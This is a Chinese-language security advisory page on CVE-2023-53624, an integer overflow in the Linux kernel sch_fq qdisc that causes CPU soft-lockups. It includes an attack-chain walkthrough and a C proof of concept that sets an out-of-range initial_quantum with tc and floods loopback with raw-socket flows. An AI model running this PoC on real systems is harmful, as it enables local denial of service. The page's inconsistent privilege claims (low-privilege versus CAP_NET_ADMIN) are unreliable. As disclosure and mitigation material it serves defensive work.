IPBUF安全漏洞报告
English
CVE-2023-53624 CVSS 5.5 中危

CVE-2023-53624 Linux内核sch_fq调度器整数溢出漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53624
漏洞类型
整数溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 net/sched sch_fq模块

相关标签

整数溢出Linux内核net/schedsch_fq拒绝服务CPU软锁本地权限网络子系统流量控制内核漏洞

漏洞概述

CVE-2023-53624是Linux内核网络子系统中的公平队列调度器(sch_fq)存在的一个整数溢出漏洞。该漏洞位于net/sched/sch_fq.c文件中,涉及"credit"变量的处理逻辑。当用户通过tc(流量控制)工具配置sch_fq队列规则时,如果将"initial quantum"参数设置为大于INT_MAX(2147483647)的值,会导致"credit"变量在首次赋值时发生有符号整数溢出,使其变为一个极大的负值(约-2GB)。这种异常状态会导致每个新数据流的credit值异常偏低,进而触发CPU软锁(soft-lockup)警告,即使在仅有少量套接字的情况下也可能导致系统不稳定。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,但无需用户交互。虽然该漏洞不会直接导致机密性泄露或数据完整性破坏,但会对系统可用性造成严重影响,可能导致系统响应缓慢甚至需要重启。该问题由syzkaller模糊测试工具通过Cristoph提供的脚本发现,已在多个Linux内核稳定版本中得到修复,修复方案是将"initial quantum"参数的上限限制为INT_MAX,并在fq_policy中进行统一的参数验证,避免在fq_change()中重复编码验证逻辑。

技术细节

从技术层面分析,该漏洞的根本原因在于sch_fq公平队列调度器对"initial quantum"参数缺乏有效的边界检查。在Linux内核的流量控制子系统中,sch_fq实现了一种基于赤字轮询(DRR, Deficit Round Robin)的队列调度算法,其中每个数据流(flow)都有一个"credit"计数器,用于跟踪该流可以发送的数据量。当新流创建时,系统会根据配置的"initial quantum"参数初始化credit值。

漏洞触发的具体过程如下:
1. 攻击者通过tc qdisc命令配置sch_fq,将initial quantum参数设置为超过INT_MAX的值(例如2147483648或更大)
2. 在流初始化阶段,内核执行类似 credit = q->initial_quantum 的赋值操作
3. 由于credit是有符号整数类型(s32),而initial_quantum被赋值为超过INT_MAX的值,发生有符号整数溢出
4. credit变为一个极大的负值(约-2GB)
5. 后续每次新流到达时,都会使用这个异常的credit值进行计算,导致调度器行为异常
6. 频繁的负值credit计算和调整会消耗大量CPU时间,触发软锁检测器的警告

利用方式相对简单:攻击者只需具有本地低权限用户访问权限,通过ip/tc命令配置网络队列规则即可触发该漏洞。虽然不能直接获取权限提升或数据泄露,但可以造成拒绝服务(DoS)效果,使系统CPU占用率异常升高,系统响应变慢。修复方法是在fq_policy的policy validation阶段添加对initial_quantum的范围检查,将其限制在[0, INT_MAX]区间内。

攻击链分析

STEP 1
步骤1:获取本地权限
攻击者需要获得Linux系统的本地低权限账户访问权限。由于该漏洞需要CAP_NET_ADMIN权限才能配置tc队列规则,攻击者可能需要先获得普通用户账户或通过其他方式提升权限。
STEP 2
步骤2:配置sch_fq队列规则
使用tc qdisc命令将网络设备的队列规则设置为fq(公平队列),并通过initial_quantum参数设置一个超过INT_MAX(2147483647)的值,例如2147483648。
STEP 3
步骤3:触发整数溢出
当系统处理网络流量时,sch_fq调度器尝试将initial_quantum的值赋给有符号整数变量credit,导致有符号整数溢出,credit变为极大的负值。
STEP 4
步骤4:生成网络流量
攻击者通过创建多个套接字并发送数据包来触发新数据流的创建,每个新流都会使用溢出后的负值credit进行计算。
STEP 5
步骤5:触发CPU软锁
异常的credit计算导致调度器行为异常,CPU长时间处于内核态,触发软锁检测器的警告,系统进入不稳定状态,造成拒绝服务效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53624: Linux kernel sch_fq integer overflow // Trigger CPU soft-lockup via integer overflow in "credit" variable // Requires: root or CAP_NET_ADMIN privilege #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> // Use 'tc' command to configure sch_fq with overflow value // This is the primary trigger for the vulnerability void trigger_overflow() { printf("[*] Configuring sch_fq with initial quantum > INT_MAX\n"); // Add qdisc with fq scheduler system("tc qdisc add dev lo root fq"); // Try to set initial quantum to a value > INT_MAX (2147483647) // This will cause signed integer overflow in 'credit' system("tc qdisc change dev lo root fq initial_quantum 2147483648"); printf("[*] Configuration applied, creating traffic to trigger soft-lockup\n"); } // Create multiple sockets to generate new flows // Each new flow will use the overflowed credit value void generate_traffic() { int sockets[100]; struct sockaddr_ll addr; memset(&addr, 0, sizeof(addr)); addr.sll_family = AF_PACKET; addr.sll_protocol = htons(ETH_P_IP); addr.sll_ifindex = if_nametoindex("lo"); // Create many packet sockets to trigger flow creation for (int i = 0; i < 100; i++) { sockets[i] = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if (sockets[i] < 0) { perror("socket"); continue; } bind(sockets[i], (struct sockaddr *)&addr, sizeof(addr)); } // Send packets to create flows for (int i = 0; i < 100; i++) { if (sockets[i] >= 0) { char buf[64] = "trigger"; sendto(sockets[i], buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr)); } } // Cleanup for (int i = 0; i < 100; i++) { if (sockets[i] >= 0) close(sockets[i]); } } int main() { printf("=== CVE-2023-53624 PoC ===\n"); printf("Linux kernel sch_fq integer overflow\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root privileges (CAP_NET_ADMIN)\n"); return 1; } trigger_overflow(); sleep(1); generate_traffic(); printf("[*] Done. Check dmesg for soft-lockup warnings\n"); // Cleanup system("tc qdisc del dev lo root"); return 0; }

影响范围

Linux kernel < 6.6(包含sch_fq模块的所有受影响版本)
Linux kernel stable分支需要应用以下补丁的版本:
git.kernel.org/stable/c/2322462d6f9ad4874f4e3c63df3b5cc00cb1acbd
git.kernel.org/stable/c/4b8a05e3801661a0438fcd0cdef181030d966a5a
git.kernel.org/stable/c/4fbefeab88c6e79753a25099d455d3d59d2946b4
git.kernel.org/stable/c/7041101ff6c3073fd8f2e99920f535b111c929cb
git.kernel.org/stable/c/85f24cb2f10b2b0f2882e5786a09b4790bb3a0ad

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对tc命令的访问权限,确保只有受信任的管理员才能配置网络队列规则;2)使用iptables或nftables规则限制未授权用户创建网络配置;3)监控系统CPU使用率和内核日志,及时发现soft-lockup异常;4)如果检测到攻击,立即使用'tc qdisc del'命令删除异常的队列规则,恢复系统正常状态;5)考虑使用cgroup或namespace隔离网络配置权限,降低漏洞影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表